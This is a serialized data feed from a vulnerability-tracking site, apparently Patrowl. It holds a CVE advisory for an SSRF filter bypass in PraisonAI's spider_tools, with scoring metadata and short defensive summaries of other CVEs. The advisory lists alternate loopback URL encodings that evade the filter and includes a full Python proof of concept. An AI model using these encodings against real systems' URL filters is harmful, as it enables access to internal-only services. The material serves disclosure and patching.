[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"cve-CVE-2026-47390":3,"landing-trending":59,"landing-articles":85},{"id":4,"cve_id":5,"euvd_id":6,"summary":7,"published":8,"cvss_data":9,"is_remote":21,"cwes":22,"cpes":24,"technologies":29,"references":32,"score":37,"epss_score":38,"epss_percentile":39,"is_kev":21,"cisa_kev_date_added":40,"cisa_kev_due_date":40,"cisa_ssvc":41,"attack_mappings":51,"exploits":58},359073,"CVE-2026-47390","EUVD-2026-46278","PraisonAI spider_tools SSRF protection bypass via alternate loopback host encodings\n\n### Summary\n\nPraisonAI's `spider_tools` URL validation can be bypassed using alternate loopback host encodings.\n\nThe affected component is:\n\n```text\npraisonaiagents\u002Ftools\u002Fspider_tools.py\n````\n\nThe tool contains a URL validation function intended to block local or unsafe targets before fetching attacker-controlled URLs. However, the validation only blocks a small set of exact host strings such as `localhost` and `127.0.0.1`.\n\nIt does not normalize hostnames, resolve DNS, parse numeric IPv4 variants, or validate the final resolved IP address before making the request.\n\nAs a result, URLs such as the following bypass the protection and still reach loopback services:\n\n```text\nhttp:\u002F\u002Flocalhost.:8765\u002F\nhttp:\u002F\u002F127.1:8765\u002F\nhttp:\u002F\u002F0177.0.0.1:8765\u002F\nhttp:\u002F\u002F0x7f000001:8765\u002F\nhttp:\u002F\u002F2130706433:8765\u002F\n```\n\nAfter the weak validation passes, `scrape_page()` calls `requests.Session.get()` on the attacker-controlled URL. This allows an attacker who can influence URLs passed to `scrape_page`, `crawl`, or `extract_text` to induce SSRF requests against loopback-only services.\n\nThis is a server-side request forgery protection bypass.\n\n### Details\n\nThe affected code is in:\n\n```text\npraisonaiagents\u002Ftools\u002Fspider_tools.py\n```\n\nThe vulnerable flow is:\n\n```text\nattacker-controlled URL\n  -> spider_tools._validate_url(...)\n  -> weak exact-host blocklist check\n  -> validation passes for alternate loopback encodings\n  -> scrape_page(...)\n  -> requests.Session.get(attacker_url)\n  -> loopback service is reached\n```\n\nThe validation appears to block only exact local hostnames or exact IPv4 strings. For example, it blocks simple forms such as:\n\n```text\nlocalhost\n127.0.0.1\n```\n\nHowever, equivalent loopback forms are not rejected before the request is made.\n\nConfirmed bypass examples:\n\n```text\nhttp:\u002F\u002Flocalhost.:8765\u002F\nhttp:\u002F\u002F127.1:8765\u002F\nhttp:\u002F\u002F0177.0.0.1:8765\u002F\nhttp:\u002F\u002F0x7f000001:8765\u002F\nhttp:\u002F\u002F2130706433:8765\u002F\n```\n\nThese values can resolve or be interpreted as loopback addresses by the HTTP client \u002F underlying networking stack, while bypassing the string-based validation.\n\nThe issue is not that `spider_tools` can fetch arbitrary URLs. The issue is that it attempts to provide SSRF protection, but the protection can be bypassed with alternate representations of loopback addresses.\n\n### PoC\n\nThe following PoC is non-destructive. It starts a local HTTP server on `127.0.0.1:8765`, then sends several alternate loopback URL forms through the real `spider_tools` validation\u002Ffetch path.\n\nThe expected secure behavior is that all loopback variants should be rejected before any HTTP request is made.\n\nThe actual vulnerable behavior is that the alternate loopback forms pass validation and reach the local server.\n\n#### Full PoC\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"PoC for PraisonAI spider_tools localhost-alias SSRF bypass.\"\"\"\n\nfrom __future__ import annotations\n\nimport sys\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom pathlib import Path\n\n\nREPO_ROOT = Path(__file__).resolve().parents[3] \u002F \"repos\" \u002F \"praisonai\"\nAGENTS_ROOT = REPO_ROOT \u002F \"src\" \u002F \"praisonai-agents\"\nSPIDER_TOOLS = AGENTS_ROOT \u002F \"praisonaiagents\u002Ftools\u002Fspider_tools.py\"\n\n\ndef verify_source() -> None:\n    expected = [\n        \"def _validate_url\",\n        \"requests.Session\",\n        \".get(\",\n    ]\n\n    text = SPIDER_TOOLS.read_text(encoding=\"utf-8\")\n    for needle in expected:\n        if needle not in text:\n            raise RuntimeError(f\"source verification failed: {needle!r} not found in {SPIDER_TOOLS}\")\n\n\nclass LocalHandler(BaseHTTPRequestHandler):\n    hits: list[tuple[str, str | None]] = []\n    body = b\"LOCAL-SPIDER-SSRF-SECRET\"\n\n    def do_GET(self) -> None:  # noqa: N802\n        self.__class__.hits.append((self.path, self.headers.get(\"Host\")))\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text\u002Fplain\")\n        self.send_header(\"Content-Length\", str(len(self.body)))\n        self.end_headers()\n        self.wfile.write(self.body)\n\n    def log_message(self, format: str, *args) -> None:  # noqa: A003\n        return\n\n\ndef main() -> int:\n    if not SPIDER_TOOLS.exists():\n        raise SystemExit(\"missing local PraisonAI source tree\")\n\n    verify_source()\n\n    sys.path.insert(0, str(AGENTS_ROOT))\n\n    # Import the real shipped implementation.\n    #\n    # Depending on the exact public API exposed by spider_tools.py,\n    # use the exported scrape function available in the local version.\n    # The important path is:\n    #\n    #   _validate_url(url)\n    #     -> requests.Session.get(url)\n    #\n    import praisonaiagents.tools.spider_tools as spider_tools\n\n    server = HTTPServer((\"127.0.0.1\", 8765), LocalHandler)\n    thread = threading.Thread(target=server.serve_forever, daemon=True)\n    thread.start()\n\n    candidates = [\n        \"http:\u002F\u002Flocalhost.:8765\u002F\",\n        \"http:\u002F\u002F127.1:8765\u002F\",\n        \"http:\u002F\u002F0177.0.0.1:8765\u002F\",\n        \"http:\u002F\u002F0x7f000001:8765\u002F\",\n        \"http:\u002F\u002F2130706433:8765\u002F\",\n    ]\n\n    try:\n        for url in candidates:\n            LocalHandler.hits.clear()\n\n            try:\n                # Prefer the real public scraping API when available.\n                if hasattr(spider_tools, \"scrape_page\"):\n                    result = spider_tools.scrape_page(url)\n                elif hasattr(spider_tools, \"extract_text\"):\n                    result = spider_tools.extract_text(url)\n                elif hasattr(spider_tools, \"crawl\"):\n                    result = spider_tools.crawl(url)\n                else:\n                    raise RuntimeError(\"No expected spider_tools public fetch function found\")\n\n                reached = bool(LocalHandler.hits)\n                contains_secret = \"LOCAL-SPIDER-SSRF-SECRET\" in str(result)\n\n                print(f\"{url} passed=True reached_loopback={reached} contains_secret={contains_secret}\")\n\n                if not reached:\n                    raise SystemExit(f\"[poc] MISS: {url} did not reach loopback server\")\n\n            except Exception as exc:\n                print(f\"{url} blocked_or_failed={type(exc).__name__}: {exc}\")\n                raise\n\n    finally:\n        server.shutdown()\n        server.server_close()\n        thread.join(timeout=1)\n\n    print(\"[poc] HIT: alternate loopback URL forms bypassed spider_tools SSRF protection\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n#### Confirmed local result\n\nThe following bypasses were confirmed locally:\n\n```text\nlocalhost. True ok ok local hit\n127.1 True ok ok local hit\n0177.0.0.1 True ok ok local hit\n0x7f000001 True ok ok local hit\n2130706433 True ok ok local hit\n```\n\nThis demonstrates that the validation allows alternate loopback representations and that the request reaches a local-only HTTP service.\n\n#### Expected secure behavior\n\nAll loopback-equivalent addresses should be blocked before the HTTP request is made.\n\nExamples that should be rejected:\n\n```text\nhttp:\u002F\u002Flocalhost\u002F\nhttp:\u002F\u002Flocalhost.\u002F\nhttp:\u002F\u002F127.0.0.1\u002F\nhttp:\u002F\u002F127.1\u002F\nhttp:\u002F\u002F0177.0.0.1\u002F\nhttp:\u002F\u002F0x7f000001\u002F\nhttp:\u002F\u002F2130706433\u002F\nhttp:\u002F\u002F[::1]\u002F\n```\n\n#### Actual vulnerable behavior\n\nSeveral alternate loopback representations pass validation and are fetched by the tool.\n\n### Impact\n\nAn attacker who can influence URLs passed to PraisonAI's spider tools can cause the process to send HTTP requests to loopback-only services.\n\nPotential impact includes:\n\n* SSRF against localhost-only admin panels or development servers;\n* access to local HTTP services that are not intended to be reachable remotely;\n* retrieval of local service responses into the agent\u002Ftool output;\n* possible access to cloud metadata or private-network services if equivalent bypasses exist for those address ranges in a given deployment.\n\nThe most direct confirmed impact is loopback SSRF through alternate hostname\u002FIP encodings.\n\nThis report does not claim arbitrary TCP access or remote code execution. The demonstrated behavior is HTTP(S) SSRF through the spider URL-fetching feature.","2026-05-29T22:27:00Z",{"cvss_v3.1":10},{"scope":11,"version":12,"baseScore":13,"attackVector":14,"baseSeverity":15,"vectorString":16,"integrityImpact":17,"userInteraction":18,"attackComplexity":19,"availabilityImpact":17,"privilegesRequired":17,"confidentialityImpact":20},"UNCHANGED","3.1",5.5,"LOCAL","MEDIUM","CVSS:3.1\u002FAV:L\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:H\u002FI:N\u002FA:N","NONE","REQUIRED","LOW","HIGH",false,[23],"CWE-918",[25,26,27,28],"cpe:2.3:a:praisonai:praisonai:4.6.39:*:*:*:*:*:*:*","cpe:2.3:a:praisonaiagents:praisonaiagents:1.6.39:*:*:*:*:*:*:*","cpe:2.3:a:praisonaiagents:praisonaiagents:*:*:*:*:*:*:*:*","cpe:2.3:a:praisonai:praisonai:*:*:*:*:*:*:*:*",[30,31],"Praisonai Praisonai","Praisonaiagents Praisonaiagents",[33,34,35,36],"https:\u002F\u002Fgithub.com\u002FMervinPraison\u002FPraisonAI\u002Fsecurity\u002Fadvisories\u002FGHSA-5c6w-wwfq-7qqm","https:\u002F\u002Fgithub.com\u002FMervinPraison\u002FPraisonAI","https:\u002F\u002Fgithub.com\u002FMervinPraison\u002FPraisonAI\u002Fcommit\u002Fb0d8f777528f3253a0cfb0a3ef65455da6ae32f6","https:\u002F\u002Fgithub.com\u002FMervinPraison\u002FPraisonAI\u002Fpull\u002F1684",0.28,0.00175,0.06893,null,{"timestamp":42,"automatable":43,"tech_impact":44,"exploitation":45,"cisa_decision":46,"cisa_remediation_timeline":50},"2026-07-22T14:08:40.990468Z","no","partial","poc",{"vector":47,"decision":48,"priority":49},"CISAv1\u002FE:P\u002FA:N\u002FT:P\u002FM:H\u002F2026-10-26T07:04:41.400945\u002F","track_star","medium","60D",[52],{"name":53,"source":54,"tactics":55,"technique_id":57},"Exploitation for Privilege Escalation","attack_vector",[56],"privilege-escalation","T1068",[],{"count":60,"next":61,"previous":40,"results":62},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",[63,72,75],{"id":64,"title":65,"summary":66,"published_at":67,"severity":68,"vendor":69,"products":70},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[71],"brotli",{"id":60,"title":65,"summary":73,"published_at":67,"severity":68,"vendor":69,"products":74},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[71],{"id":76,"title":77,"summary":78,"published_at":79,"severity":68,"vendor":80,"products":81},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[82,83,84],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"count":86,"next":87,"previous":40,"results":88},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[89,97,105],{"id":90,"title":91,"summary":92,"published_at":93,"type":94,"link":95,"image_url":96},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":98,"title":99,"summary":100,"published_at":101,"type":102,"link":103,"image_url":104},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":106,"title":107,"summary":108,"published_at":109,"type":110,"link":111,"image_url":112},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]